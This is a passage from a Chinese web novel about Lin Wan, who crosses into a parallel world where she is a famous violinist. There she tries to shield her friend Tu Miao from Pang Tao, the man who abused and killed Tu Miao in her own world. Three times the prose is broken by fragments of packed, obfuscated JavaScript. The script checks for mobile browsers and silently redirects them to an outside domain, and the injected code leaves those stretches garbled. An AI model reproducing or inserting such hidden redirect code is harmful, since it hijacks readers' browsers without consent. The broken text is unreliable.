在警官恢复监控而曝光的视频里,两人正在客厅平静地吃饭,涂淼听到楼上小孩弹钢琴的声音便夸了一声弹得真好。而对面的男人就因此突然失控砸碎了饭碗。他怒吼着狗日的故意恶心我?明知道我现在辛苦拼事业没钱生孩子更没钱养孩子,你偏偏提楼上有钢琴有孩子刺激我?狗不嫌家贫,你他妈嫌弃我没钱!说完就拽着涂淼的头发进了厨房。 他拧开燃气灶,把涂淼的头像皮球一样往蓝色的火焰上摁,边摁边吼既然这么想去别人家,我他妈看你毁容了还怎么出门! 涂淼尖叫着挣扎,最终带着蓬乱有火星的头发跌跌撞撞跑了出来。 她见过这个男人。 在另一段视频里,他跪在涂淼面前,痛哭流涕地猛扇自己巴掌,发誓再也不会对她动手,甚至咬破手指头血书,以头撞墙表示悔恨。 她见过这个男人。 在法庭上,这个男人穿着囚服,剃着光头,一脸麻木地听着他的辩护律师做无罪辩护。他没有罪,涂淼的死跟他无关,涂淼是自己反复摔伤。后来,他又说涂淼性格压抑,控制欲强。他是逼不得已,涂淼罪有应得。 林菀事后反反复复地琢磨,她应该早就看出那些蛛丝马迹的。涂淼戴着墨镜跟她视频。涂淼笑起来嘴里牙齿有残缺。涂淼在酷暑穿着长袖T恤还戴着围巾。为什么她偏偏没看出来? 家暴,只有零次和无数次。 那个男人,是被判处死刑的凶残杀人犯。 “不要!”林菀猛地起身,撞翻了面前的小桌,扑上去拦住涂淼伸出去的手。情急之下她将涂淼护在自己身后,像老鹰护雏鸟一般挡在那个男人面前。 11. 现实与虚幻 闹钟声响,林菀从昏睡当中惊厥醒来,已然泪流满面。 她望着天花板,任泪水浸湿发丝,压抑的情绪在胸口泛滥。电线事故发生,她还能勉力承受。而紧接着那个人出现,成为压垮她情绪的最后一根稻草。情绪失控后,她都不知道自己怎么过的。涂淼没去成银行,跟徐箴言一起送她回家。然后涂淼陪她到半夜,最后被工作室员工小美几个电话叫走。 闹钟还在顽强地吵闹。林菀失魂落魄地起床换衣服出门。 她又回到了原本的世界。依旧是人满为患的早高峰地铁。依旧是低头刷手机的上班族们。而林菀靠门站立,双眼无神地望着门外的黑暗。 门边电子屏幕上正在播送新闻。记者介绍道,“当前,太阳活动带来的“爆炸冲击波”直冲地球,引发特大地磁暴。据说这是第25个太阳活动周期以来,地球经历的最强地磁暴。” 专家首肯,“是的。五年前,太阳进入第25个活动周期。如今太阳将进入本活动周期的峰年,剧烈太阳活动会愈加频繁。” “这是否跟在新疆出现的极光有关?” “有关系。地球磁场发生剧烈扰动,才会在中高纬度出现极光。强烈程度可以这样类比一下。曾经有一次地磁暴导致38颗美国星链卫星脱轨。当时的地磁暴强度只是最小级别……” …… 中午,林菀没有去吃饭,独自坐在工位上沉默地望着窗外。 为什么那个杀人犯会出现?还从普通企业人员摇身一变成银行理财师。他竟然能越过越好?简直荒唐。 不同于普通人,林菀拥有父母相弑留下的人生阴影。涂淼被杀,何尝不也是如此?不过是没有孩子的夫妻罢了。林菀恐惧于自己的母亲,也恐惧于这个杀死涂淼的凶手。一想起来,她就感受到深入骨髓的厌恶。那个凶手能一边在外装作善良温存的样子,一边在家对妻子残暴施虐。当年林乃岳和林珠莉的关系是否也如此割裂?这简直就是……历史重演。只不过性别对调而已。 在那个平行时空,林菀拥有人人羡慕的财富、事业和友情。可如果她得时刻提心吊胆,提防自己因为两亿人民币而被害,提防从未出现的丈夫,这还有什么好过的?而且现在不光她有人身危险,连涂淼都有可能…… 林菀无法与眼前的事实和解——涂淼已经获得了梦寐以求的事业和生活,为何还会遇到那个该死的男人?这难道是摆脱不掉的命运? 如果不希望自己出意外死掉,林菀就应该彻底远离那个世界。 可如果想要阻止涂淼进一步跟那个凶手接触,那她必须搭乘午夜十二点的地铁。 而那个世界又为何存在?是虚幻的假象?还是真实的存在? 如果是假象,她有没有必要为了已经离世的涂淼而殒命? 如果是真实存在,她又应该如何避免自己和涂淼的死亡? 稍微晃神,她眼前竟然出现了站在电线下,告诉她别过来的徐箴言。 林菀,人生将近三十载,从未遇到过如此艰难的抉择。 “铛铛!”Maggie吃午饭回来在林菀身边坐下,打断她的沉思,“Nora来吧,抽三张牌。” “……做什么?”林菀回神才看见她手里一摞塔罗牌。 “发展副业。”Maggie麻利地在桌子上摆牌,“我家狗狗最近不吃饭,我找了个宠物灵媒,咨询一小时费用三百五。这行可太赚钱了,我暂且还不会给狗算,但给人算还可以练练。选啊,免费给你算。” “我不用。” “上个星期你卖我的牙膏还没发货,这就改行了?”曹磊凑过来看热闹。 “马上就发货。”Maggie看林菀起身要走,立即拉住她,“瞧你今天愁眉苦脸的,试试嘛。就在心里想着你眼下最焦虑的事情,然后抽三张牌。” 林菀迟疑地坐下来,思考许久,选了三张。 “咦,怎么都是逆位。” 林菀不知道什么是逆位,但听到这个逆字就感觉肯定不好,“这都是你摆的。” “但是你抽的啊。”Maggie拿起第一张牌,煞有介事点点头,“命运之轮,象征轮回与变化。看来你思考的问题对你的人生很关键,充满了挑战和危机。” 林菀的表情变了,“然后呢?” Maggie更加来精神,“这第二张,是倒吊者。你看这牌面,一个男人被倒吊起来了,象征牺牲。显然在当下困境里,你处于劣势,在忍耐厄运。” “第三张牌呢,是塔,这张牌是唯一一张正位逆位都没有好寓意的大阿卡娜卡。你瞧,一座高塔被雷电击中,塔里的两个人因此掉下来了。塔顶的王冠也即将坠落。这意味着灾难与变化。不要以为吸引你的方向是正确的,因为自然与天命不可违。你想要的东西,虚幻如这只塔尖的王冠,受雷一击,便荡然无存。” 林菀下意识反驳,“或许有办法也能抓住虚幻——” Maggie将那张倒吊者转个方向,“虚幻不是现实。要改变,只能换个方向。就像这个倒吊者换个方向便脚踏实地。而不是悬挂半空。” 曹磊觉得Maggie说的虽然玄乎,但的确有道理,“肯定选择在现实的基础上奋斗啊,空中阁楼不可信。” “没错。”Maggie端起咖啡,“虽然不知道Nora你在考虑什么问题,但相信现实意义吧。” 现实……相信现实……选择现实。 林菀还是有些失魂落魄。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102828|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而这时,谭姿脚步匆匆回办公室,拍手吸引所有人注意力,“诸位,好消息,珑亚在南美和欧洲的汽车销量创造了新纪录。” “祝贺!”曹磊连忙配合鼓掌。 “今晚辛苦大家。原定的会议要推迟到十点开始,南美的团队也要参与进来。曹磊你统计大家想点什么下午茶,我请。然后周六的团建聚餐改到周五晚上,大家都不用加班。周末好好休息。” 林菀下意识在心里盘算。十点会议开始,等到结束肯定是十二点后。别说赶最后一班地铁了,只能打车。不能赶地铁,意味着无法去那个平行时空。 难不成命运在提醒她,选择现实? …… 时间就这样一分一秒地过去。 晚上九点四十五,谭姿端着电脑进会议室,瞧见林菀一个人已经坐在这里出神,“怎么心不在焉的?身体不舒服?晚饭都没见你吃。” “没事……我来吧。”林菀避而不谈这个问题,起身打开投影仪。 十点整,跨国会议开始。光是团队介绍情况都花了四十多分钟。 当电子屏右下角显示时间为十一点整时,林菀开始焦躁不安。 时间越逼近十二点,她权衡的天平越不稳。而最终,她所有的砝码都放在了一端,那端的杠杆上只烙印着两个字——涂淼。 在这个世界,她已经无法挽回涂淼。难不成在那个世界,她还要眼睁睁放弃涂淼?不可以,绝对不可以。就算她自己也有人身危险,那也不行! 那个世界里的徐箴言面对危险从容不迫,救了她一命。那她怎么能面对涂淼的命运时选择袖手旁观? 林菀感觉到自己的心脏跳得仿佛要冲破胸腔。她迅速抬头看桌子对面的谭姿,而谭姿已经在观察她。 林菀过分焦躁的状态,她全部看在眼里。 视频会议那端,南美团队还在介绍当地的品牌营销情况。谭姿点开对话框,给林菀发了消息——“去吧”。 林菀感激地起身,来不及跟其他人道别便冲出会议室。 她将电脑放回工位后就拿着手机和工卡朝电梯跑去。出了公司大门,她一边查询末班地铁每个站点的停靠时间,一边打车,追去能赶上趟的站点。 终于,在离繁寓路有五站时,她跨进地铁门。 五站后出站,林菀立即掏出手机,发现未接电话里有三个来自徐箴言,一个来自涂淼。 地铁站外,路灯昏黄,没有行人。只有一辆车孤零零停在对面。 徐箴言从车里出来,在24小时便利店买咖啡,正好错过钻进出租车的林菀。她要去涂淼家。 赌上自己的命运,林菀用行动给出答案。选择现实,还是选择虚幻?她选择涂淼。 12. 林菀的大计划 涂淼裹着才上发膜的头发,糊着一脸面膜,端着红酒杯,以睡前享受夜生活的姿态迎接了午夜过来的好朋友。 眼前的林菀头发被风吹乱了,外套扣子也扣错了。可是她的双眼却湿润含水,异常明亮。 “我想好了。不管我的命运如何,但是你必须活下去。”她气喘吁吁,声音嘶哑,却蕴含着无比坚定的力量。 “……我还以为你想起来怎么拉小提琴了,跟我报喜呢。”涂淼将她拉进来,伸头出去看了下,没有其他人。 “这件事不需要你操心。”林菀努力平复自己,一瞬不瞬地继续盯着她,“我既然选择过来,就很清楚接下来要做什么。不管能不能等到两个月后的演出,该做的我都会做。” 涂淼愕然地望着她,一时不知道该说什么。她听不太懂林菀的话语。 而林菀,已经做好了打持久战的准备。眼下,庞涛只是涂淼很信任的理财顾问。他们还没有恋爱,还没有结婚。林菀要防备的是未来。 此外,她也会认真对待学琴这件事,就算只有0.1%的可能都要努力拼博,以防真的要呆到八月份,面对到时的交响乐演出。 她更会极力避免跟林珠莉接触,以防意外发生。 最重要的是,她需要想方设法让涂淼跟庞涛解绑。“我直说了——你跟庞涛合作有多久?能不能把他换掉?” 本来听到林菀说要认真学琴,涂淼开心地掏出一瓶好酒打算庆祝一下。可听林菀话锋一转说到庞涛,涂淼的笑容消失了。 “这事儿我昨天就想说。”涂淼考虑数秒,放下开瓶器,“你知道我送庞涛离开时,他脸色多难看吗?我今天还在道歉。你当时太无礼了,看他的眼神就跟看瘟神一样。别人不知道的还以为他有传染病呢。你——为什么莫名其妙讨厌他?” “我没有无缘无故地讨厌他,他根本就不是好人。”林菀反驳。 “你才第一次见他,话都没说一句,从哪里判断他不是好人?”涂淼匪夷所思,索性将林菀按到沙发上长谈,“他是那家银行里首屈一指的理财师,我等了很久才预约上。你不要戴着有色眼镜看人。等你跟他熟悉,就知道他业务能力强,嘴又甜——” “这跟人品没关系。我强调的是他的人品。就算是第一次见面,我也能分辨出来。” “……你这就有点胡搅蛮缠了。”涂淼头疼地摁了摁太阳穴,决定以情理服人,“我一直都在跟你说,我想做最优秀的化妆师。现在我做到了,所以我有了更高的梦想。我要办大事,办大事就要有充足资金——别说你借钱给我,不够——我得让钱生钱,而庞涛做得很好。” 所以,如果阻拦庞涛,便是阻拦了涂淼的梦想。 林菀喉头滚动,咽下唾沫,再也找不到任何理由来说服涂淼。 沉默半晌,她重新抬起头,“那你答应我另外一件事。” “什么?” “如果去见他,你必须喊我一起。你绝对不能私下跟他一对一接触。” “你又不懂理财……”涂淼瞧见林菀的神色严肃得不像是开玩笑,只能无奈答应,“行吧,带你去。反正我银行卡上夹死个蚊子你都知道。”她说完便起身去找林菀以前放在这里的洗漱用品。 林菀一声不吭地望着她的背影,下意识握紧拳头。 …… 同一时刻。 徐箴言家二层灯火通明。 飘着海棠花香的画室里,洁白的墙壁上挂着一幅尺寸中等的油画,内容描绘的是已经凋谢的加百列月季。层层叠叠的花瓣为冷淡的灰紫色调,在风中散落一地。花枝在夜色中优雅又落寞地垂头。而画架上,一幅初露花苞的加百列还待完工。 徐箴言站在画前,看着林菀发给他的三个字——“我很好”。 她真的好吗? 徐箴言不能确定。 将画笔颜料等工具摆放在桌角后,徐箴言搬出一个行李箱。打开,里面放着他个人的换洗衣物等简单生活用品,还有一部手机,两本结婚证,两盒草莓味成人用品,以及……厚厚一大摞保险单复印件——中英文书写,盖着红色印章。被保险人签名处都写着林菀的名字。 这些保单的金额加起来,高达两亿人民币。受益人为林菀的母亲,林珠莉。 徐箴言如若不是收拾他自己的行李,便不会知道这些保单的存在。他也从未见过林珠莉。最初发现这些保单时,他什么都没怀疑。因为林菀是著名小提琴家,她为自己的手指砸重金投保是十分正常的事情。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102829|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然而,林乃岳大师班门口诡异的电线事故与连环撞车,让他不得不联想起这些保单。其中是否有奥秘? 放在桌上的手机突然响起来,显示江小姗来电。 “喂?” “你还真没睡啊?在二楼画画?”江小姗揣测。徐家二楼没有摄像头。 “嗯,你值夜班?” “对。”江小姗打了个哈欠,在那边呼啦啦翻着什么文件,“电线事故的调查结果出来了。你想提前知道吗?” …… 第二天,上午。 涂淼去工作室上班,而林菀也起了个大早,去小提琴培训机构。 纵然已经接近初夏,但她依旧穿着风衣,也戴着口罩和鸭舌帽。她是做品牌运营的,也接触过媒体和名人。她清楚以此刻小提琴家身份出现在专业领域,她必须得隐藏好。 琴行销售老师见多识广,并没有对她的衣着打量几番,只是很热情地邀请她坐下,“您好,听前台说,您是想咨询成人小提琴课程?” “对。我要一对一教学。”林菀毫不犹豫地说,“最好是速成班,越快越好。” “冒昧问一下,您是要考级?还是工作需要?”老师非常疑惑。 “都有需要。价格不是问题。”林菀直接提出要求,“但我需要签保密协定。你们不能向外界透漏课程所有信息。” 这就有点古怪了。销售老师站起来带路,“……那我们去里面谈吧,这边走廊请。” 林菀跟在她身后,无意瞧见走廊上挂着很多照片,都是这个机构的学生斩获各种比赛大奖时拍的。 老师见到林菀感兴趣,便驻足介绍道:“这些都是参加莱城艺术家大奖赛小提琴组获奖的学生,颁奖嘉宾是我国最著名的小提琴家林菀,您知道吗?”她指着照片。一排十张照片,九个都有林菀。 林菀站在照片墙前,脚跟灌铅似的走不动。她声音沙哑,“……我知道……抱歉,告辞。” 她不可能在这个世界学习小提琴了。那些照片斩断了她学习的唯一道路。 那么这件事只能等到她回去原本的世界后再做考虑。在那边,她是籍籍无名的林菀。 这只是第一件事。为了解决第二件事,现在她要去见徐箴言。 13. 徐箴言的故事 中午,银行对面的咖啡厅。遮阳伞下,桌上的黄色太阳花开得艳丽。 徐箴言将一杯奶盖蜜桃乌龙放到林菀面前,自己端着咖啡坐下,“真不用吃饭?” “没胃口。”林菀看着他受伤的地方,“你的手还好吗?” “没事,过两天就能拆纱布。”徐箴言说,“警察的调查结果出来了。是地磁暴引起电线事故,以及车辆电子仪器和输电系统故障。” 林菀刷地想起自己在地铁上听到的新闻,“太阳活动导致的?” “是的。” 竟然不是人为。林菀松了口气,但越想越觉得冥冥中有什么联系。地铁新闻说太阳活动刚刚进入频繁期,剧烈得连新疆都有了极光。而此次活动周期是从五年前开始算起。五年前……也就是她此刻所在的时空。难不成她能穿越过来是跟太阳活动有关? “一个太阳活动周期有11年左右。”徐箴言似乎看出她所知道什么,“昨天的事故是极端特例,以后应该不会出现类似情况。” “警察这么肯定?” “是我的看法,以前学过。”徐箴言说,“我有双学位,经济和物理。”而且刚巧是空间物理学。 林菀有些诧异,她听涂淼说过徐箴言毕业于一所相当优秀的学校,但没想到他在学经济这种深奥的科目之外,连第二专业都挑晦涩难懂的。 “我看上去不像是认真搞学习的那种人吗?”徐箴言读懂了她眼中的讶异。 “确实不像。” 徐箴言忍不住笑了。 林菀也不好意思地抿唇轻笑。就是因为徐箴言脾气好,性格温良,所以她才能如此直白。徐箴言总是从头到脚十分清爽,衣着简单干净,舒展妥帖,看得出他是一个注重外表的人。而他偏偏肩宽个高,有张过分好看的脸。这样的人在成长中多受人追捧,鲜少能集中注意力于苦闷的学习。 “你之前说起小时候没机会学绘画,”林菀忍不住问,“后来又怎么消解这种遗憾?”这是她最想知道的问题,因为身为社畜的林菀就处于这种不可自拔的遗憾当中。 徐箴言想了想,喝了口咖啡,“初中时因缘际会,考上了中科大少年班。” “你是中科大少年班毕业的?”林菀相当出乎意料。 “没有。”徐箴言语气很寻常,“当时没去。因为我寄宿的亲戚觉得读书没用。他的同学初中毕业,创业成功,照样招博士来工作。此外以我当时的年龄去上大学,会给他们徒增很多麻烦。”最直接的一点,大学要学费,而初中根本不要学费。 林菀越听越沉默,觉得茶水越来越涩口,“……后来呢?” “后来因为读书略有成绩,我姐也听说了。她当时创办公司,走上正轨,便叫我跟她一起生活。然后我高一转学,高二就提前高考。”事到如今,他早就不再追究当年毫无消息的徐雯重新联系他,到底是因为他成绩优异出类拔萃,还是因为忘不了血缘亲情。因为这两个理由就跟拧成一股的麻绳一样,拉扯不清。 “那你读大学挺早。” “不,我当时报了提前批,潜艇专业。但那段时间个子蹿得太快。等到体检时,身高就超过了最高标准。所以……第二年又高考了一次,这次选了普通专业。” “……你为什么想要报潜艇专业?” “想尝试完全不同的生活。逼仄的环境对我来说不是问题。”徐箴言思考了一下,“早慧并不代表有阅历。有些事情只有经历了才明白。别人的道理永远是别人的,没有办法拿来内化。” 说起来,他的每一个重大人生转折点都充满了遗憾。经历下来,他似乎有种习惯成自然的感觉,也就无所谓遗憾不遗憾了。 “你真的……没想过弥补什么吗?”林菀问。她眼里的徐箴言,纵然工作繁忙,但举手投足之间都有一种让人卸下焦虑的松弛感。 “说实话没刻意想过。只是顺其自然去做一些事情。比如我现在闲时画油画,之前也曾经参军——”他及时闭上嘴巴,然而还是迟了。 “你当过兵?”林菀再次惊讶。看徐箴言的气质,完全不像是在部队里摸爬滚打过的。“你在哪里当兵?” 徐箴言迟疑数秒,“云南。” 林菀瞬间想起了自己脑海曾经浮现的画面——一身戎装的徐箴言说他脚下有地雷。“你不会是在排雷大队——” 徐箴言愕然地看向她,眼神里有不可思议,“你想起来了?” “啊,你之前跟我提过?不好意思,我没注意。”林菀十分歉意。歉意之外是诡异。她的大脑为什么会描画徐箴言当兵排雷的场景?这种感觉就好像是她曾经梦到过一般。可她总不能对一个已婚男人说我梦到过你,太暧昧了。她只好说道:“我看新闻,云南边境线上还有地雷阵地。现在还有军人在那边扫雷。” 徐箴言垂眸,嗯了一声。 “以后你对自己……有什么梦想?”她又问。 徐箴言认真地思考,因此没有立即答复。半晌,他说道:“做一个身心健康,秉性温和,善良耐心,认真工作,认真生活的普通人。” 他的梦想看似平凡,但想要做到却极其困难。但这也说明他以极其平和的心态接受过往一切。 “如果是我……”林菀蹙眉,思考着如果是自己,会怎么办。 徐箴言抬眉,等着她说下去。 “我就要疯掉。”林菀说。 徐箴言再一次笑起来,他的笑容舒展极了,就如同春风一般,“所以我们俩很不一样。” 不一样,才会互相吸引。他总是很平静地接受一切,可林菀不一样,她看着迟疑犹豫拖拖拉拉但一旦真的被逼入死角便会奋起反抗。 徐箴言笑得太过迷人,林菀心头一跳,手里下意识一紧。杯子里的奶盖瞬间溢出来。 “抱歉。”她连忙侧身单手开包找纸巾。 徐箴言微微起身,主动掏出湿纸巾,握住她的手帮她擦干净。他的动作那样自然,没有一丝狎昵,就仅仅是为她擦干净手指,然后松手。但就是这份仅仅的单纯,在此刻却显得不那么单纯,至少让林菀的心跳乱了。就连她的指尖迅速染上了淡淡的粉色。她匆匆垂眸,迅速挪开眼神。 “你来找我,不是为了聊天吧?”徐箴言问。 “嗯……”林菀勉强整理心情,“你能不能把涂淼的项目接过来?她的投资换你做,可不可以?” “我跟庞涛不在一个部门,他做理财,我做企业并购。”徐箴言打量她的神色,“你为什么讨厌庞涛?” “……”林菀卡壳了。她连多年朋友涂淼都无法说服,还能说服徐箴言?说庞涛是预备杀人犯?她什么证据都没有。 “庞涛工作表现很优秀。你如果担心涂淼的资金——” 林菀摇摇头,突然神经一跳,脱口而出,“姓庞的结婚了吗?”她的情绪很复杂,如果庞涛没结婚,她总要悬着一颗心。如果庞涛结婚了,她一方面庆幸,一方面更想……破坏这桩婚姻。 徐箴言缓缓开口,“你担心庞涛喜欢涂淼?” 林菀霎时愣住。她能否认吗?她不能。这就是问题所在。她认为庞涛的确没资格喜欢涂淼,因为他家暴。但在不知情的人们眼里却是——庞涛区区一个银行员工怎么能喜欢拿到莱城电影节大奖的顶尖化妆造型师涂淼?偏偏徐箴言也是跟庞涛一个地位的银行人。 徐箴言……还有自己……林菀突然被自己的想法吓了一跳。她为什么要拿自己和徐箴言来对比涂淼和庞涛?这完全不对。 可是,以林菀作为小提琴家的社会地位出发来看,她的态度有一种自上而下的轻蔑评判。尽管她其实没有地位歧视。她歧视的只有庞涛这个人。 “我……”林菀思考该怎么解释,而徐箴言则打断她的话,似乎不想再听她说下去。 “他单身。”徐箴言说,“其他我不清楚。”他跟庞涛只有工作范围内接触。以金融圈的吃瓜能力,上午出事,下午就能在各大工作群看到拥有完整时间线和微信打码截图的长篇PDF文件。然而到目前为止,徐箴言还没见到过庞涛的PDF。 “我只是……关于庞涛和涂淼接触,有不太好的预感。”林菀迟疑着说,她已经捕捉到徐箴言的情绪变化。 徐箴言凝视着手里的咖啡杯,磨砂的质地,温暖的温度,可冒着一股苦涩的味道。他淡淡地问,“你对我有什么预感?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你平时出差跑企业,走路开车都注意点。听说昨天西城那边有路口的高压电线突然掉下来了,好多车子追尾。”徐雯则将自己带来的东西都放到沙发上。除了蕊蕊这几天的换洗衣服、奶粉零食还有两罐营养补剂。 “是吗?我没听说。”徐箴言从洗手间出来,“这什么?” “我找营养师配的,小罐是蕊蕊的,她上次发烧查出来有点贫血。大罐是你的,每天吃一勺,用水冲服。” “我不用。” “别跟我犟。”徐雯四处打量,突然问道,“你女朋友最近没在这边住?” 徐箴言愕然地看着她,一时没说话。 “我又不是没谈过恋爱。什么样儿我不清楚?但是我跟你说,不能未婚先孕。你要是惹出这种事情,我把你腿打断。” “你把我看成什么人了。” 徐雯放心地换了话题,“跟你们乔总说一声,我今晚出差,周三回来跟他吃饭。” “嗯。”徐箴言捡起一叠资料,那是补习机构印的SSAT单词。SSAT就是美国中学入学考试,适用于美国和加拿大的私立中学入学。 “蕊蕊每晚要背二十个单词,你记得监督。我跟她爸商量好了,等她读五年级就给送出去。”徐雯说。蕊蕊是加拿大籍。 而此刻,五岁的蕊蕊正趴在地上玩乐高小车,嘴里嘟嘟个不停。 “太早了吧?”徐箴言问。他问的是出国太早,而徐雯理解的是学习太早。 “幼儿园她同学的词汇量都有两千,她已经落后了。我倒是希望她能有你的智商。”徐雯已经走到门口,“蕊蕊,妈妈出门咯。” “妈妈再见。”蕊蕊扭身挥手,瞧见徐箴言关门回来,“兔子阿姨呢?” “兔子阿姨在忙。” “那我们什么时候找她玩?” 徐箴言拿起被她拆得七零八落的乐高小车,眸色暗淡下去。 14. 失控的汽车 点开手机通讯录,徐箴言的电话号码就排在历史记录当中,第一个。 林菀看着那串无比眼熟的号码,指尖下意识摩擦着手机边缘。她越想越觉得昨天自己肯定让徐箴言误会了。她并没有看不起他。不会拉小提琴的小提琴家,没有资格瞧不起任何人。她应该怎么向他说明?如果是别人,她早就打电话了,可是徐箴言……她在脑海里不厌其烦地复盘。 “是你要过来,来了又玩手机。”涂淼站在窗边朝她喊。 林菀闻言将手机放兜里。 此刻,她们正位于城北四环一处尚未修建完毕的五层商用楼当中。裸露的砖墙、地上随意丢弃的水泥袋子、斑驳的走廊让这栋楼看上去十分荒凉。这栋房子是庞涛领他们来看的,房主是庞涛的一位客户。 西装革履的庞涛介绍道:“地段不错吧?马总本要在这里开分公司,但生意受阻,周转不开,只能停工。现在为了补亏空,才想出让。” 室外阳光耀眼,而室内则阴暗很多。林菀走到窗边,看见楼下草坪绿意葱葱,野草杂乱无章地肆意生长。而马路对面是个小区。超市、药店、便利店一应俱全,远处还有个大商场。 “这地方确实不错。”涂淼朗声回答,然后压低声音跟林菀咬耳朵,“看来我得掏压箱底的老本了。” “你真打算接手?还得继续施工装修。” “百分之七十的意愿吧。”涂淼伸手比划,“等建成,在楼下挂个大牌子,写‘淼影工坊’。一楼用来会客办公,二楼和三楼用来培训练习,四楼用来组织文化交流和比赛拍摄,五楼用作储备和收纳,随时可以翻新成训练场馆。”她对上林菀惊诧的目光,毫不犹豫地肯定,“对,我要办特效妆造训练营!” 特效妆造训练营是涂淼的宏大计划,她要助力行业新人,开创全新的培训体系,填补影视行业的巨大缺口需求。 “虽说如今电脑特效也日益发达,但只要涉及到人类表现,妆造还是不可或缺。我没有引路人,摸爬滚打多少年才走到现在。在这方面——是时候让姐来整顿职场了。”涂淼目光坚定。 林菀一时震撼得无法言语。 “还记得你陪我看国外那个特效化妆师真人秀么?只要我能把训练营办好,我也能将新生代妆造师们推向台前。让这个行业真正扎根,而不是在我之后立即断代,重新把话语权送给国外团队。”涂淼眼眸映着窗外的灿烂阳光,像映着一团跳动的火焰。 这是梦想的力量,它纯粹,强大,闪闪发光。这种力量也感染了林菀。她紧紧握住涂淼的手,声音微哑,“你一定可以,我相信你,我支持你。” “真的?!” “对,没钱用就跟我说。”林菀鼻子酸了,但还是开玩笑,“不要再去火车站打地铺。” “好的,亲爱的。”涂淼歪脖跟她蹭蹭头。 庞涛走过来掏出烟盒,打断她们的谈话,“抽烟?” “不。”林菀一见庞涛过来,她就冷下脸。 “我以为艺术界成功人士都抽烟。”庞涛讪笑两声,将烟盒放回包里。 “你要抽的话没关系。”涂淼说,“谢谢你帮我牵线看房。这也不是你的工作范畴。” “维护客户嘛。”庞涛笑起来,“你们是不是跟投行部的徐箴言很熟?” “你为什么问这个?”林菀语气很冲。 涂淼摁住林菀的手示意她注意态度,然后对庞涛笑道:“对,我们是朋友。” 瞧见林菀黑脸,庞涛知趣地换了话题。这时天边轰隆隆几声,豆大的雨点打下来。 “糟糕,车还停路对面。”涂淼望向窗外。 “没事。我去买两把伞。”庞涛立即说。 “不用,等会儿雨肯定小。” “不一定。我先去买伞,免得被卖光了。”不等涂淼回话,庞涛便一头冲进雨里。 “哎你——”涂淼跟了几步,扭头问林菀,“瞧瞧人家,你还有什么可挑剔的?” 林菀沉默着,脸上没什么表情。 …… 徐箴言从客户企业回来,已经是午餐时间。他路过银行旁边新开的餐厅,发现有些同事没去食堂,而是在这里聚餐。 “箴言!”有男同事招收喊他,“吃了没?没吃就来坐下。韩经理今天生日。” 徐箴言走到桌边,拒绝了服务员说给他多添一把椅子,“韩经理生日快乐。我还有事就先回去了。” 同事们一共两桌。大腹便便的韩经理所在的那一桌坐的都是男人——唯独寿星身边是才考进银行,还在实习期的应届生女孩。她看上去有些紧张,拿着筷子低着头,尽量收着肩膀,不碰到两边的男领导。 徐箴言脚下一顿,转身去另一桌打招呼。正好一位他熟悉的已婚已育中年女同事从洗手间过来。 “周姐,你把小苏叫到你这桌吃饭吧。”徐箴言说。 女同事瞥了眼那桌男人,虽说见怪不怪,可还是叹了口气,“我什么职别,韩经理又是什么职别?若要开口,就是得罪他。”她很清楚,小苏是新人里最漂亮的。而那帮男人吃饭时向来喜欢把美女安排到上司身边。 徐箴言蹙眉,索性直接走过去,“小苏,吃好了就先回去,我有事要吩咐你。” “我、我吃好了!”女孩闻言刷地站起来,声音都变调。 韩经理脸色一变,又很快乐呵呵地笑起来,“哎,小徐带人就是敬业啊。”男同事们纷纷附和起来。 从餐厅出来,徐箴言走在前面。小苏连忙跟上去。“徐老师!您有什么事情吩咐我?” “没事。”徐箴言站到路口等红灯,“周姐人不错,你们新人吃饭可以跟着她。” 小苏脚下一顿,清楚徐箴言这话是什么意思,她心里升起一股暖流,“我请您喝咖啡吧!我知道您喜欢冷萃咖啡,常去街角那家店。” 徐箴言终于看了她一下。女孩的眼神小心翼翼,但又有些小小的雀跃,期待和感激。 “不了。我爱人说咖啡伤胃,我想戒一段时间。” “这样啊……”小苏勉强笑起来。果然……果然像徐箴言这样的男人都不可能是单身。 …… 回到办公室后,徐箴言坐下就接到江小姗的电话。 “哟,头一次白天给我打电话啊。”他从抽屉里拿出一根蛋白棒撕开包装。 “你这话说的,仿佛我只有半夜无聊才骚扰你。”江小姗说,“队里最近要拍宣传视频。你要不要来客串一下?” “忙,没时间。”徐箴言回答,“你什么时候能把监控软件删掉?” “现在不能删。”江小姗在那边很认真地说,“我发现了新情况。就上次电线事故,有辆车把那个画画院子给撞塌了。这司机最初说是车子失灵,后来又改口说看到大家追尾的追尾,熄灯的熄灯,他是给吓得撞上去了。”消防出任务经常遇见警察,所以江小姗消息灵通。 徐箴言听着他的分析,没说话。 “警察提取了他车里黑匣子的记录。你猜怎么着?明明到路口就要降速,他还撒丫子踩油门。行吧,也能用被吓蒙了来解释。”江小姗说,“可我怀疑他是不是冲你来的?” 江小姗和徐箴言是战友,服役时同在驻扎边境的排雷大队,经常搭配作业。唯一一次没有搭配,是因为徐箴言巡逻时 